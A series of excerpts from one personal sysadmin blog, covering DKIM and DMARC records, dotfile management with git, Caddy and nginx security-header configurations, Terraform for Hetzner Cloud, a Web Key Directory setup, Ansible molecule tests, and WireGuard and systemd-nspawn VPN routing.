MBO0001._domainkey TXT v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2K4PavXoNY8eGK2u61LIQlOHS8f5sWsCK5b+HMOfo0M+aNHwfqlVdzi/IwmYnuDKuXYuCllrgnxZ4fG4yVaux58v9grVsFHdzdjPlAQfp5rkiETYpCMZwgsmdseJ4CoZaosPHLjPumFE/Ua2WAQQljnunsM9TONM9L6KxrO9t5IISD1XtJb0bq1lVI/e72k3mnPd/q77qzhTDmwN4TSNJZN8sxzUJx9HNSMRRoEIHSDLTIJUK+Up8IeCx0B7CiOzG5w/cHyZ3AM5V8lkqBaTDK46AwTkTVGJf59QxUZArG3FEH5vy9HzDmy0tGG+053/x4RqkhqMg5/ClDm+lpZqWwIDAQAB

The record consists of the host name MB00001._domainkey and the attribute field with the DKIM version, the used crypto algorithm (k=rsa) and the public key. If you want to learn more, I can recommend this blog article here: https://help.returnpath.com/hc/en-us/articles/222438487-DKIM-signature-header-detail

So, now we that we have DKIM and SPF, we can have a look at DMARC (Domain-based Message Authentication, Reporting and Conformance). DMARC is nice addition to DKIM and SPF, because with DMARC we can publish a policy that recommends how other mail servers should treat our incoming mails. Moreover we are even able to get reports. This is useful for debugging. My DMARC DNS record looks like this:

_dmarc TXT v=DMARC1; p=none; sp=quarantine; rua=mailto:postmaster@shibumi.dev

It will match on the domain: _dmarc.shibumi.dev and specifies the following attributes for DMARC:

• The version as specified in v=

• p is the policy for the domain. In this case none, so our mails should go through.

• sp is the policy for subdomains. I chose quanrantine here, because I don’t plan to send mails from a subdomain. If you want to be more strict, you can choose reject instead of quanrantine. quarantine will suggest mail servers to move mails from subdomains of your domain to the spam folder. rua specifies the reporting URI for aggregate reports (this is nice for debugging). If you want even more information you can also send the ruf attribute for forensic reports. If you want to know more, have a look at: https://dmarc.org/overview/

  So that’s it. This article got a little bit longer when I’ve planned it. If you have further questions, feel free to write me an email. You should definitely have a look on the corresponding RFCs and the linked blog articles. They helped me in understanding all of this.

Another way of handling dotfiles is using GNU stow as explained here: http://brandon.invergo.net/news/2012-05-26-using-gnu-stow-to-manage-your-dotfiles.html

With GNU stow it’s possible to store your dotfiles in a separate directory and then symlink to the files in this directory via invoking stow <directory name>. Imagine the following structure:

home
`-- chris
    `-- dotfiles
        |-- sway
        |   `-- .config
        |       `-- sway
        |           `-- config
        `-- vim
            |-- .vim
            `-- .vimrc

Now you can do the following:

$ cd ~/dotfiles
$ stow sway
$ stow vim

Your resulting structure will look like this (the added files are symlinks):

home
`-- chris
    |-- .config
    |   `-- sway
    |       `-- config
    |-- dotfiles
    |   |-- sway
    |   |   `-- .config
    |   |       `-- sway
    |   |           `-- config
    |   `-- vim
    |       |-- .vim
    |       `-- .vimrc
    |-- .vim
    `-- .vimrc

Pretty nice and clean approach, if you ask me. Disadvantage is that you need stow as additional program though.

The next approach is also interesting. It’s described here: https://medium.com/toutsbrasil/how-to-manage-your-dotfiles-with-git-f7aeed8adf8b

This approach is not so different from mine (using git + gitignore as whitelist). Here the author is using some features of git I did not know about. First you create a bare git repository, then you set an alias for git with that git directory as git-dir and your $HOME as work-tree. Next you set status.showUntrackedFiles to no for this git repository and you are able to manage your $HOME directory with git.

$ git init --bare $HOME/.dotfiles
$ alias dotfiles='/usr/bin/git --git-dir=$HOME/.dotfiles/ --work-tree=$HOME'
$ dotfiles config --local status.showUntrackedFiles no
$ dotfiles status
$ dotfiles add .vimrc
$ dotfiles commit -m "new vimrc"

If you want to setup your environment on a new computer, you can do the following:

$ git clone --bare https://github.com/USERNAME/dotfiles.git $HOME/.dotfiles
$ alias dotfiles='/usr/bin/git --git-dir=$HOME/.dotfiles/ --work-tree=$HOME'
$ dotfiles checkout

I actually prefer this approach over the one with stow. You don’t need an additional program and you don’t end up with too much symlinks. If I wouldn’t have managed my $HOME already, I would give this definitely a try, although I would be afraid that I could add files to my repository that I don’t want. showUntrackedFiles is disabled, but you can still add new files or directories. So if you use this approach make sure to use git add -p or git commit -v for checking your chunks, before you add/commit/push them.

Last but not least, one of my readers told me about yadm. Yadm is just another dotfiles manager and supports GPG. Encryption is something that is missing in my current approach (I sometimes miss it). Nevertheless it’s another program, so I don’t want to get into too much details about yadm.

• puppet
• ansible
• home made shell script magic
• maybe a few more I don’t remember, because i didn’t use them so much.

So what’s wrong with puppet or ansible? Don’t get me wrong, I love config management and I love using both for bigger infrastructure. The intonation lies on bigger infrastructure. While I have to do with bigger infrastructure at work I don’t have that much infrastructure at home. At home I deal with one Laptop and one Server. For the Server Ansible or Puppet makes sense, because I want to do more than just dropping a few config files (installing webserver, configuring sshd, etc).

Why do I not use puppet or ansible for my laptop? I tried it. I really wanted too, but I find myself writing things twice. It started to be annoying, when you have to deal with real file on your system and the corresponding templates. In the end I always found myself, just editing the files directly, instead of tweaking with the templates in the Ansible or Puppet repository. Instead of reducing toil I found myself adding more toil through adding more layers of abstract software, that I actually don’t need. This applies for home made shell script magic, too. Home made shell script magic for configuration management is even more annoying, because instead of relying on standards you build something on your own. Some people maybe like this and maybe it’s even a good training for bash beginners, but for me it has been annoying too.

Why? Simply because I found myself fixing bugs that were not necessary, that’s why I changed to proper configuration management like puppet or ansible later on and from proper configuration management to my current solution. How does my current solution looks like? It’s dead simple.

I use git with a whitelist. My whole home directory is just a big git directory with a whitelist. In this whitelist I have all files I want to monitor or manage. When I move to a new laptop I just initialize my home directory with this repository and I have all dotfiles where I need them. No templates are involved nor any scripts that move things around.

The gitignore file can look like this:

*
!.gitignore
!.zshrc
!.config
!.config/sway/
!.config/sway/config

This small gitignore will only handle the gitignore file, my zshrc and my sway config. You need to whitelist directories one by one, full paths are not allowed. Then you can do just add these files to your repository, commit and push them to one or more remotes. Why more than one remote? Backups. This way, if you push, you automatically push to more than one remote and you have a backup on a second server.

The command for adding a second git remote as backup is the following:

git remote set-url origin --push --add "${REMOTE}"

This is going to add a second remote server to your origin remote.

One last question I want to answer is: How do I setup such a repository from an existing home directory and will it effect other git directories? If you want to set this up from an existing repository, you can create a repository upstream and then use git init in your home directory to initialize a git repository, then just set your gitignore with the whitelisted files and directories and your remotes and you should be good. Other git repositories shouldn’t get affected by this, because they are blacklisted.

{
	experimental_http3
}

www.nullday.de, www.nspawn.org, www.shibumi.dev {
	redir * https://{http.request.host.labels.1}.{http.request.host.labels.0}{path}
}

nullday.de {
	redir * https://shibumi.dev{path}
}

nspawn.org, shibumi.dev {
	file_server
	root * /srv/www/{host}/public/
	header {
		Strict-Transport-Security "max-age=31536000; includeSubDomains; preload; always"
		Public-Key-Pins "pin-sha256=\"sRHdihwgkaib1P1gxX8HFszlD+7/gTfNvuAybgLPNis=\"; pin-sha256=\"YLh1dUR9y6Kja30RrAn7JKnbQG/uEtLMkBgFF2Fuihg=\"; pin-sha256=\"C5+lpZ7tcVwmwQIMcRtPbsQtWLABXhQzejna0wHFr8M=\"; includeSubdomains; max-age=2629746;"
		X-Frame-Options "SAMEORIGIN"
		X-Content-Type-Options "nosniff"
		X-XSS-Protection "1; mode=block"
		Content-Security-Policy "default-src 'none'; base-uri 'self'; form-action 'none'; img-src 'self'; script-src 'self'; style-src 'self'; font-src 'self'; worker-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'none'; manifest-src 'self'; connect-src 'self'"
		Referrer-Policy "strict-origin"
		Feature-Policy "geolocation 'none';midi 'none'; sync-xhr 'none';microphone 'none';camera 'none';magnetometer 'none';gyroscope 'none';speaker 'none';fullscreen 'self';payment 'none';"
		Expect-CT "max-age=604800"
	}
	header /.well-known/openpgpkey/* {
		Content-Type application/octet-stream
		Access-Control-Allow-Origin *
	}
	encode {
		zstd
		gzip
	}
}

The new Caddyfile enables experimental HTTP3 support. Also I’ve added a few redirects to my new domain. All www prefix requests get redirected to their version without www prefix. My old domain nullday.de redirects now to my new domain shibumi.dev. Also I had to add connect-src 'self' to my CSP, because Google Lighthouse seems to have problems with defalt-src 'none'. If just default-src 'none' is being set, Google Lighthouse can’t access your robots.txt. This seems to be an issue in the Google Lighthouse implementation, the Google Search Bot is not affected. You can test your robots.txt via:

await fetch(new URL('/robots.txt', location.href).href)

Feel free to follow this issue here: https://github.com/GoogleChrome/lighthouse/issues/4386

The second change I has been adding a meta description for my blog and my blog articles. As you might know, I use hugo as static site generator and Hermit as Hugo theme. For Hermit I have submitted a patch that should fix the meta description issue. It looks as follows:

From 8b888604a401c60c2021c9dc771e20640a359baa Mon Sep 17 00:00:00 2001
From: Christian Rebischke <chris@shibumi.dev>
Date: Sun, 23 Feb 2020 22:48:16 +0100
Subject: [PATCH] add meta description for google lighthouse

---
 archetypes/default.md        | 1 +
 archetypes/posts.md          | 1 +
 layouts/_default/baseof.html | 1 +
 3 files changed, 3 insertions(+)

diff --git a/archetypes/default.md b/archetypes/default.md
index 63c1c63..c98b02a 100644
--- a/archetypes/default.md
+++ b/archetypes/default.md
@@ -2,6 +2,7 @@
 title: "{{ replace .Name "-" " " | title }}"
 date: {{ .Date }}
 draft: true
+description:
 comments: false
 images:
 ---
diff --git a/archetypes/posts.md b/archetypes/posts.md
index fe05261..cade919 100644
--- a/archetypes/posts.md
+++ b/archetypes/posts.md
@@ -2,6 +2,7 @@
 title: "{{ replace .Name "-" " " | title }}"
 date: {{ .Date }}
 draft: true
+description:
 toc: false
 images:
 tags: 
diff --git a/layouts/_default/baseof.html b/layouts/_default/baseof.html
index 7f09c90..9a8302f 100644
--- a/layouts/_default/baseof.html
+++ b/layouts/_default/baseof.html
@@ -9,6 +9,7 @@
 	<meta name="theme-color" content="{{.}}">
 	<meta name="msapplication-TileColor" content="{{.}}">
 	{{- end }}
+	<meta name="description" content="{{.Description | default .Site.Params.Description}}">
 	{{- partial "structured-data.html" . }}
 	{{- partial "favicons.html" }}
 	<title>{{.Title}}</title>

It adds a new description variable to all blog templates and adds the <meta name="description"> HTML tag to the base HTML file. It sets the websites default description if no description has been set. Feel free to have a look on the PR status here: https://github.com/Track3/hermit/pull/121

My infrastructure is hosted in Hetzner Cloud (there is luckily a terraform provider for it). DNS will be talked about in a later blog article.

I usually store my passwords in a gopass password store, hence I’ve wanted to let Terraform retrieve the Hetzner Cloud API key magically.

The solution is the use of the external Terraform module:

data "external" "hetzner_cloud_api_key" {
	program = ["${path.module}/fetch-key.sh"]
}

This snippet will call a wrapper script called fetch-key.sh, that basically just calls gopass and translates the output to a JSON structure:

#!/bin/bash

hetzner_cloud_api_key=$(gopass api/hetzner.com/motoko)
echo "{ \"hetzner_cloud_api_key\": \"${hetzner_cloud_api_key}\" }"

It’s important to use the key hetzner_cloud_api_key here! In the next part I am going to set the hetzner_cloud_api_key and call the hcloud provider (this is going to download a go binary):

provider "hcloud" {
  token = data.external.hetzner_cloud_api_key.result.hetzner_cloud_api_key
}

Then we are setting the actual server resource and an rdns entry for the server:

resource "hcloud_server" "kurisu" {
  name        = "kurisu"
  server_type = "cx11-ceph"
  location    = "fsn1"
  image       = "fedora-31"
  lifecycle {
    ignore_changes = [image]
  }
}

resource "hcloud_rdns" "kurisu" {
  server_id  = hcloud_server.kurisu.id
  ip_address = hcloud_server.kurisu.ipv4_address
  dns_ptr    = "kurisu.shibumi.dev"
}

Interesting is the last part of the hcloud_server resource:

  image       = "fedora-31"
  lifecycle {
    ignore_changes = [image]
  }
}

The image variable is actually never used. I have created my server with Fedora-28 years ago. When Hetzner introduces a new Fedora image the last one gets deprecated and the Hetzner Cloud API links that value against null or No Image. Therefore any import of an existing server will fail, because you can’t set the null value to the image variable (it’s a requirement for the hcloud_server resource). And if you set any other string, the Hetzner Cloud API will think it’s a valid image value and will try to destroy your image and create a new one. To go around this issue, just add a lifecycle for it and set ignore_changes = [image]. This will ignore any changes to the image variable on Hetzner Cloud API side.

If you want to have a look on all files go and checkout:

https://github.com/shibumi/infra

I will definitely work further on this. On my todo list are:

• DNS via inwx.de
• rDNS entries for IPv6
• Provisioning of the actual image (not sure if I will use Ansible or rely on this for Terraform too).

So let us focus on preventing the problems. One possible solution around this problem is self-hosting your own WKD server. WKD stands for Web Key Directory. It’s a new standard for hosting PGP keys via using existing infrastructure (webservers and HTTPS). You can find the current draft for the standard here:

https://tools.ietf.org/html/draft-koch-openpgp-webkey-service-09https://tools.ietf.org/html/draft-koch-openpgp-webkey-service-09

The draft is long, so let me summarize this for you. You need the following components for a successful WKD server:

• A webserver (Nginx,Apache,Caddy whatever you want)
• An own domain
• A valid TLS certificate (Let’s Encrypt to the rescue!)

A WKD server is the wrong solution for you, if:

• You have no webserver
• You have no domain
• You have no key ID with your domain

The magic behind a WKD server is simple. The client (this can be either GPG or even Thunderbird) will look up your key ID, then it will resolve the domain in your key ID and will try to retrieve your public key via your domain and webserver. Let us have a look on an example. This is my key with my various key IDs (showed via gpg -K):

sec>  rsa4096 2015-07-16 [SC] [expires: 2020-06-25]
      6DAF7B808F9DF25139620000D21461E3DFE2060D
      Card serial no. = 0006 09716835
uid           [ultimate] Christian Rebischke (Arch Linux Security Team-Member) <Chris.Rebischke@archlinux.org>
uid           [ultimate] Christian Rebischke <chris@nullday.de>
uid           [ultimate] Christian Rebischke / Shibumi (Milliways) <shibumi@milliways.info>
uid           [ultimate] Christian Rebischke (www.nullday.de) <Chris.Rebischke@gmail.com>
uid           [ultimate] Christian Rebischke (TU-Clausthal) <christian.rebischke@tu-clausthal.de>
uid           [ultimate] Christian Rebischke <christian.rebischke@mailbox.org>
uid           [ultimate] Christian Rebischke (Archlinux Security Team-Member) <chris.rebischke@archlinux.org>
uid           [ultimate] Christian Rebischke <Chris.Rebischke@posteo.de>
uid           [ultimate] Christian Rebischke <chris@shibumi.dev>
ssb>  rsa4096 2015-07-16 [E] [expires: 2020-06-25]
ssb>  rsa4096 2019-04-12 [A] [expires: 2020-06-25]

Archlinux.org provides already its own WKD server. This blog article is about providing a WKD server for the uid: Christian Rebischke <chris@shibumi.dev>.

First you want to generate your WKD hash for the key. You can do this via the following command: gpg --with-wkd-hash --fingerprint chris@shibumi.dev

The output should look like this:

uid           [ultimate] Christian Rebischke <chris@shibumi.dev>
              qrq8871k9z8yxp9doyh415jnrooj7guc@shibumi.dev

Now you can create a directory structure on your webserver as follows:

https://<your domain>/.well-known/openpgpkey/hu/<your WKD hash>

For my uid chris@shibumi.dev this would look like this:

https://shibumi.dev/.well-known/openpgpkey/hu/qrq8871k9z8yxp9doyh415jnrooj7guc

The last part qrq8871k9z8yxp9doyh415jnrooj7guc is just your pubkey with the filename: qrq8871k9z8yxp9doyh415jnrooj7guc. You can generate it via:

gpg --no-armor --export chris@shibumi.dev > qrq8871k9z8yxp9doyh415jnrooj7guc

For enabling the whole WKD server you need to place a policy file (this file can be empty) in your openpgpkey directory. This looks for me as follows:

touch /srv/www/shibumi.dev/public/static/.well-known/openpgpkey/policy

You can check your setup via using this website:

https://metacode.biz/openpgp/web-key-directory

This website may report other constraints:

• It reports if it can’t access your key file
• It reports if the key format is invalid
• It reports if you have no policy file
• It reports if you don’t set the application type: application/octet-stream.
• It reports wrong CORS headers (CORS: Cross-Origin Resource Sharing)

The last point is easy to achieve if you use Nginx or Apache. In Apache you can use the following snippet:

<Directory "/.well-known/openpgpkey">
   <IfModule mod_mime.c>
      ForceType application/octet-stream
      Header always set Access-Control-Allow-Origin "*"
   </IfModule>
</Directory>

In Nginx use this one:

location ^~ /.well-known/openpgpkey {
   default_type application/octet-stream;
   add_header Access-Control-Allow-Origin * always;
}

Caddy v2 has no always parameter for headers yet. So you can just use the following snippet:

header /.well-known/openpgpkey/* {
	Content-Type application/octet-stream
	Access-Control-Allow-Origin *
}

The combination of Ansible and Terraform works quite well for Arch Linux, the only subject we are missing is proper testing. I want to present a small proof of concept on how we could do tests in the future. My approach uses molecule for testing. Molecule utilizes Vagrant and Docker for running the Ansible Playbooks.

Arch Linux provides images for both of them, since quite a while now. These projects are called Arch-Boxes and Archlinux-Docker. Therefore it makes sense to reuse them infrastructure tests.

The actual tests are written in Python with support of the library testinfra.

First of all we need to install the dependencies. You can find most of our needed tools in our repositories:

• ansible
• python-pip
• python
• flake8
• ansible-lint
• docker
• vagrant

What we are missing right now is molecule. We can install molecule with the vagrant dependencies via pip install molecule[vagrant] --user. Pip will install all needed packages to our $HOME.

So let us pick a first role we want to test:

infrastructure/roles/sshd:

❯ ls -la
drwxr-xr-x - chris 15 Dec  2019 handlers
drwxr-xr-x - chris 15 Dec  2019 tasks
drwxr-xr-x - chris 15 Dec  2019 templates

We can initialize a molecule test scenario on an already existing Ansible role via molecule init scenario --role-name sshd --driver-name vagrant. The command is going to create a molecule directory for us. The created directory will have this structure:

❯ tree molecule 
molecule
└── default
   ├── INSTALL.rst
   ├── molecule.yml
   ├── playbook.yml
   ├── prepare.yml
   └── tests
      ├── __pycache__
      │  ├── test_default.cpython-38-pytest-5.3.5.pyc
      │  └── test_default.cpython-38.pyc
      └── test_default.py

The interesting files we will have a look at are molecule.yml, prepare.yml and test_default.py. In molecule.yml we configure basic molecule behavior. In prepare.yml we can do first preparations with Ansible (we need to do this, because Arch Linux is slightly different to distributions the molecule team normally uses). test_default.py stores our tests as testinfra functions.

The molecule.yml shouldn’t be so different for Arch Linux to the one that is usually generated by molecule, but let me highlight the changes:

infrastructure/roles/sshd/molecule/default/molecule.yml:

---
dependency:
  name: galaxy
driver:
  # We use Vagrant here, because we have other roles that need kernel modules etc
  name: vagrant
  provider:
    name: virtualbox
lint:
  name: yamllint
platforms:
  # Here we specify our official archlinux/archlinux image
  - name: instance
    box: archlinux/archlinux
provisioner:
  name: ansible
  lint:
    name: ansible-lint
  # This option is important. The Ansible infrastructure roles use root on default.
  # So we need to gain privilege via sudo and become root for running all roles.
  connection_options:
    ansible_become: true
verifier:
  name: testinfra
  lint:
    name: flake8

prepare.yml includes some magic, regarding mirror setup, installing python and a fresh restart. We need this mirror setup tasks, because we are just enabling all mirrors in our Arch Linux Vagrant box right now. This leads to slow mirrors. I am going to fix this in a new Arch-Boxes release. For now I just set static mirrors from which I know that they are fast for my location. In the second prepare.yml task we need to install python for Ansible. Consider that I use pacman -Syu here, because I want a full system upgrade, everything else will lead us into trouble when playing around with kernel modules (Arch Linux provides still no nice way to use kernel modules when you’ve installed a new kernel). Due to the full system upgrade, we need to reboot for making sure that we boot into the new kernel.

infrastructure/roles/sshd/molecule/default/prepare.yml

---
- name: Prepare
  hosts: all
  gather_facts: false
  tasks:
    - name: Setup fast mirror
      raw: echo -e "Server = https://mirror.metalgamer.eu/archlinux/\$repo/os/\$arch\nServer = https://mirror.metalgamer.eu/archlinux/\$repo/os/\$arch\nhttps://ftp.spline.inf.fu-berlin.de/mirrors/archlinux/\$repo/os/\$arch" > /etc/pacman.d/mirrorlist
      become: true
    - name: Install python for Ansible
      raw: test -e /usr/bin/python || (pacman -Syu --noconfirm python)
      become: true
      changed_when: false
    - name: Reboot for kernel updates
      reboot:

The last important file is test_default.py. test_default.py stores our unit tests for the Ansible roles. Right now I am just checking for an installed openssh package and a running and enabled sshd daemon. The usage of testinfra should be self-explanatory, however I didn’t make experience with more complex tasks like comparing templates yet. I can imagine that this will become very tedious for us. The future will show if the usage of testinfra suits our demands. If not we either use a different library or we need to stay with Ansible and YAML linting + tests on clean VMs or Docker containers. Both of them would be already far better than the current situation with no tests at all.

infrastructure/roles/sshd/molecule/default/tests/test_default.py:

import os

import testinfra.utils.ansible_runner

testinfra_hosts = testinfra.utils.ansible_runner.AnsibleRunner(
    os.environ['MOLECULE_INVENTORY_FILE']
).get_hosts('all')


def test_openssh_is_installed(host):
    openssh = host.package("openssh")
    assert openssh.is_installed


def test_openssh_is_running_and_enabled(host):
    openssh = host.service("sshd")
    assert openssh.is_running
    assert openssh.is_enabled

For running our tests we can trigger molecule test from inside of our sshd role directory. I haven’t played around with molecule converge yet, but I guess this is the command you would use for local Ansible development. molecule test will trigger a clean environment on every test (destroying the VM snapshot etc). This is pretty cost intensive and takes time.

If you are interested in this work, you can follow my branch on github:

https://github.com/shibumi/infrastructure/tree/shibumi/molecule-tests

Normally the wg-quick command will create iptable rules for routing all of your traffic through your new wireguard gateway (your server running wireguard). You can disallow this routing via setting Table = off inside of your wg configuration. For example: /etc/wireguard/germany.conf:

[Interface]
Address = 10.0.0.3/24
PrivateKey = <clients private key>
Table = off

[Peer]
PublicKey = <servers public key>
AllowedIPs = 0.0.0.0/0
Endpoint = <your server>:51820
PersistentKeepalive = 25

This will disable all routing on the client for wireguard and you should be able to find your server on for example 10.0.0.1 and connect to the internet via your normal gateway.

Two of my readers have mentioned that you could also just set AllowedIPs = 10.0.0.0/24 instead of setting Table = off in the wireguard configuration.

For starting an iperf3 server, just use iperf3 -s:

❯ iperf3 -s
-----------------------------------------------------------
Server listening on 5201
-----------------------------------------------------------
Accepted connection from 139.174.228.245, port 33133
[  5] local 78.46.124.83 port 5201 connected to 139.174.228.245 port 21516
[ ID] Interval           Transfer     Bitrate         Retr  Cwnd
[  5]   0.00-1.00   sec  12.1 MBytes   101 Mbits/sec  354    567 KBytes
[  5]   1.00-2.00   sec  10.0 MBytes  83.9 Mbits/sec  209    993 KBytes
[  5]   2.00-3.00   sec  8.75 MBytes  73.4 Mbits/sec   58    913 KBytes
[  5]   3.00-4.00   sec  7.50 MBytes  62.9 Mbits/sec  156   1.18 MBytes
[  5]   4.00-5.00   sec  11.2 MBytes  94.4 Mbits/sec  144    781 KBytes
[  5]   5.00-6.00   sec  7.50 MBytes  62.8 Mbits/sec   72    987 KBytes
[  5]   6.00-7.00   sec  7.50 MBytes  63.0 Mbits/sec   50    583 KBytes
[  5]   7.00-8.00   sec  3.75 MBytes  31.5 Mbits/sec    0    662 KBytes
[  5]   8.00-9.00   sec  3.75 MBytes  31.5 Mbits/sec    5    351 KBytes
[  5]   9.00-10.00  sec  6.25 MBytes  52.4 Mbits/sec   49    885 KBytes
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.08  sec  78.3 MBytes  65.2 Mbits/sec  1097             sender
-----------------------------------------------------------
Server listening on 5201
-----------------------------------------------------------
^Ciperf3: interrupt - the server has terminated

Now you can test your client against your server via iperf3 -R -c <hostname>, where -R means reverse mode (the server sends data to your client). If you want to test the opposite way, just use iperf3 -c <hostname> or iperf3 --bidir -c <hostname> for a bidirectional connection:

❯ iperf3 -R -c kurisu
Connecting to host kurisu, port 5201
Reverse mode, remote host kurisu is sending
[  5] local 192.168.0.103 port 55182 connected to 78.46.124.83 port 5201
[ ID] Interval           Transfer     Bitrate
[  5]   0.00-1.00   sec  8.59 MBytes  72.0 Mbits/sec
[  5]   1.00-2.00   sec  11.0 MBytes  92.1 Mbits/sec
[  5]   2.00-3.00   sec  8.23 MBytes  69.0 Mbits/sec
[  5]   3.00-4.00   sec  8.23 MBytes  69.1 Mbits/sec
[  5]   4.00-5.00   sec  10.1 MBytes  84.5 Mbits/sec
[  5]   5.00-6.00   sec  7.65 MBytes  64.2 Mbits/sec
[  5]   6.00-7.00   sec  7.01 MBytes  58.8 Mbits/sec
[  5]   7.00-8.00   sec  4.60 MBytes  38.6 Mbits/sec
[  5]   8.00-9.00   sec  4.18 MBytes  35.1 Mbits/sec
[  5]   9.00-10.00  sec  5.96 MBytes  50.0 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.08  sec  78.3 MBytes  65.2 Mbits/sec  1097             sender
[  5]   0.00-10.00  sec  75.5 MBytes  63.3 Mbits/sec                  receiver

iperf Done.

iptables -I FORWARD -i wg0 -o wg0 -j REJECT --reject-with icmp-adm-prohibited
ip6tables -I FORWARD -i wg0 -o wg0 -j REJECT --reject-with icmp6-admin-prohibited

If you want relax the rules for certain clients you can do as follows (where 10.10.10.3 refers to the client and 10.10.10.0/24 to the Wireguard VPN network):

iptables -I FORWARD -i wg0 -s 10.10.10.3/32 -d 10.10.10.0/24 -j ACCEPT

I solved this problem via using systemd-nspawn containers for routing certain applications (like webbrowsers) through a specific VPN. First you need a systemd-nspawn container. On Arch Linux you can achieve this via using one of the following steps:

For an Arch Linux container named archlinux

# pacstrap -c -d /var/lib/machines/archlinux base <your favourite VPN application>

For a Debian container named buster

# debootstrap --include dbus,<your favourite VPN application> buster /var/lib/machines/buster

For an Ubuntu container named bionic

# debootstrap --include dbus,<your favourite VPN application> bionic /var/lib/machines/bionic http://archive.ubuntu.com/ubuntu/

When done, create a systemd service override via systemctl edit systemd-nspawn@<container name>.service:

[Service]
ExecStart=
ExecStart=/usr/bin/systemd-nspawn --quiet --keep-unit --boot --link-journal=try-guest --settings=override --machine=%I --capability=CAP_NET_ADMIN --network-veth --bind-ro=/tmp/.X11-unix:/tmp/.X11-unix --setenv="DISPLAY=:0"

How does this differ to the usual systemd-nspawn setup? The default line is the following;

ExecStart=/usr/bin/systemd-nspawn --quiet --keep-unit --boot --link-journal=try-guest --network-veth -U --settings=override --machine=%i

The new parameters are: --capability=CAP_NET_ADMIN for giving the container the permission to do various network-related operations (Note: This setup is not intended to be secure. It’s just for routing traffic for certain apps through a VPN). --bind-ro=/tmp/.X11-unix:/tmp/.X11-unix for binding the X11 socket from the container to the X11 socket from the host. This way we are able to start X11 applications inside the container and see them on the host. -setenv="DISPLAY=:0" sets the necessary display options for X11 inside of the container. In the end you should be able to start the container machinectl start <containername>, login via machinectl login <containername> and start your VPN + your favourite X application. If you don’t need a graphical application you can get rid of the X11 socket binding in the systemd service override. Regarding VPN configuration: Just configure the VPN as normal, just inside of the container. If you are not able to login you might want to edit the /etc/securetty file in the container and add pseudo terminals like pts/0 to it. You can do this via using machinectl shell <containername> this will give directly a shell instead of logging you into a container via pseudo terminal.

• Weak defaults (no TLS on default, weak ciphers, no OSCP stapling on default, …)
• The configuration is very verbose (this doesn’t need to be something bad)
• New technologies like (QUIC or zstd compression need ages until their are available in downstream)
• Dealing with Let’s Encrypt / certificates has always been an error-prone process (I never got that working for a longer period of time without issues).

Let me show you how complex an Nginx configuration can get for something as simple as serving two static websites with sane TLS configuration. If we have a look on the tls.conf, there are many things I would expect from a webserver to be default in the year 2020. First there are the ssl_protocols, second there are the ssl_ciphers and ssl_ecdh_curve, third there is ssl_stapling. I expect all of these to be enabled on default and neither Nginx nor Apache do this with standard settings.

/etc/nginx/tls.conf:

ssl_protocols  TLSv1.2 TLSv1.3;
ssl_certificate      cert.pem;
ssl_certificate_key  key.pem;
ssl_session_cache    shared:SSL:1m;
ssl_session_timeout  5m;
ssl_ciphers ECDHE-RSA-AES256-GCM-SHA512:DHE-RSA-AES256-GCM-SHA512:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES256-GCM-SHA384;
ssl_ecdh_curve secp384r1;
ssl_session_tickets off;
ssl_prefer_server_ciphers  off;
ssl_early_data on;
proxy_set_header Early-Data $ssl_early_data;
ssl_dhparam /etc/nginx/dhparam.pem;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Public-Key-Pins 'pin-sha256="sRHdihwgkaib1P1gxX8HFszlD+7/gTfNvuAybgLPNis="; pin-sha256="YLh1dUR9y6Kja30RrAn7JKnbQG/uEtLMkBgFF2Fuihg="; pin-sha256="C5+lpZ7tcVwmwQIMcRtPbsQtWLABXhQzejna0wHFr8M="; max-age=2629746;';
add_header X-Frame-Options "SAMEORIGIN";
add_header X-Content-Type-Options "nosniff";
add_header X-XSS-Protection "1; mode=block";
add_header Content-Security-Policy "default-src 'none'; base-uri 'self'; form-action 'none'; img-src 'self'; script-src 'self'; style-src 'self'; font-src 'self'; worker-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'none'; manifest-src 'self'; report-uri https://shibumi.report-uri.com/r/d/csp/enforce";
add_header Referrer-Policy "strict-origin";
add_header Feature-Policy "geolocation 'none';midi 'none'; sync-xhr 'none';microphone 'none';camera 'none';magnetometer 'none';gyroscope 'none';speaker 'none';fullscreen 'self';payment 'none';";
add_header Expect-CT "max-age=604800";
ssl_stapling on;
ssl_stapling_verify on;
ssl_trusted_certificate /etc/nginx/isrg-root-ocsp-x1.pem;

The actual website configuration is very verbose, too. I need to configure a redirect for every specific domain for port 80 to 443. Furthermore, I need to explicitly enable http2 (quite ironic if you ask me, if you know that http3 has been published already). Another problem is setting a directory for the ACME challenges manually (I know that there are modules for nginx for this, but I never really tested it, because I always had the feeling that it’s too much hassle). The configuration for the second website is the same, just substitute the server names and directories.

/etc/nginx/conf.d/nullday.de.conf

server {
    listen       80;
    listen	[::]:80;
    server_name  nullday.de kurisu.nullday.de www.nullday.de;
    return 301 https://nullday.de;
}
server {
    listen       443 ssl http2;
    listen	[::]:443 ssl http2;
    server_name  nullday.de kurisu.nullday.de www.nullday.de;
    server_tokens off;
    root /usr/share/nginx/html/nullday.de/public/;
    location / {
	    index  index.html;
    }
    location ^~ /.well-known/acme-challenge/ {
    	default_type "text/plain";
    	root /usr/share/nginx/html/letsencrypt;
    }
    # Expire rules for static content

    # cache.appcache, your document html and data
    location ~* \.(?:manifest|appcache|html?|xml|json)$ {
      expires -1;
    }
    
    # Feed
    location ~* \.(?:rss|atom)$ {
      expires 1h;
      add_header Cache-Control "public";
    }
    
    # Media: images, icons, video, audio, HTC
    location ~* \.(?:jpg|jpeg|gif|png|ico|cur|gz|svg|svgz|mp4|ogg|ogv|webm|htc)$ {
      expires 1M;
      add_header Cache-Control "public";
    }
    
    # CSS and Javascript
    location ~* \.(?:css|js|woff2|woff)$ {
      expires 1y;
      add_header Cache-Control "public";
    }
    include /etc/nginx/ssl.conf;
}

